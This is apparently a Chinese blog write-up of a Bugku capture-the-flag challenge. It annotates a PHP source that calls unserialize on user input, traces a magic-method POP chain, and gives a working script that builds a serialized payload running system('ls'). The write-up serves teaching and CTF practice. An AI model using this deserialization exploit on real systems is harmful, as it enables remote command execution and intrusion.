首页 > 其他分享 >兔年大吉2

兔年大吉2

时间:2023-02-27 22:16:31浏览次数:20  
标签:__ function 调用 触发 兔年 Year public 大吉

bugku:
考察点pop链

常见函数触发

__sleep()       //使用serialize时触发
__destruct()    //对象被销毁时触发
__call()        //在对象上下文中调用不可访问的方法时触发
__callStatic()  //在静态上下文中调用不可访问的方法时触发
__get()         //用于从不可访问的属性读取数据
__set()         //用于将数据写入不可访问的属性
__isset()       //在不可访问的属性上调用isset()或empty()触发
__unset()       //在不可访问的属性上使用unset()时触发
__toString()    //把类当作字符串使用时触发
__invoke()      //当脚本尝试将对象调用为函数时触发

对源代码进行标记触发情况

<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)//在对象上下文中调用不可访问的方法时触发
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {  
         die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __invoke()//当脚本尝试将对象调用为函数时触发
    {
        return $this->happiness->check(); //调用不可访问的方法
    }

}

class Rabbit{
    private $aspiration;
    public function __set($name,$val){//用于将数据写入不可访问的属性
        return $this->aspiration->family; //访问不存在的数据
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()//赋值给不可访问的属性
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)//用于从不可访问的属性读取数据
    {   
        $name = $this->rabbit;
        $name();  //如果$name为变量,此时$name(),将对象调用为方法
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") { //设置key值即可
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
}else {
    echo "过新年啊~过个吉祥年~";
}
?>

解析

首先利用Year中的__destruct()函数调用,Year中的firecrackers(),
由于赋值变量$this->rabbit->wish不存在,所以会调用Rabbit中的__set,
由于访问变量$this->aspiration->family不存在,所以会调用Year中的__get
此时只需要将$this->rabbit赋值为对象即可,$name()对象被当成函数访问,
此时会调用Nevv中的__invoke,
此时回调函数$this->happiness->check()不存在,所以会调用Happy中的__call
达成目的,

pop链子的顺序
Year:_destruct->Year:firecrackers->Rabbit:_set->Year:_get->
Nevv:__invoke->Happy:_call;

wp

<?php
class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content){
        $this->cmd = $cmd;
        $this->content = $content;
    }
}

class Nevv{
    private $happiness;

    public function __construct($happiness){
        $this->happiness=$happiness;
    }
}

class Rabbit{
    private $aspiration;
    public function __construct($aspiration){
        $this->aspiration=$aspiration;
    }
}

class Year{
    public $key="happy new year";
    public $rabbit;
}
$a=new Year();
$b=new Year();
$c=new Rabbit($b);
$e=new Happy("system","ls");
$d=new Nevv($e);


$a->rabbit=$c;
$b->rabbit=$d;

echo urlencode(serialize($a));
?>

标签:__,function,调用,触发,兔年,Year,public,大吉
From: https://www.cnblogs.com/-Lucky-/p/17162121.html

相关文章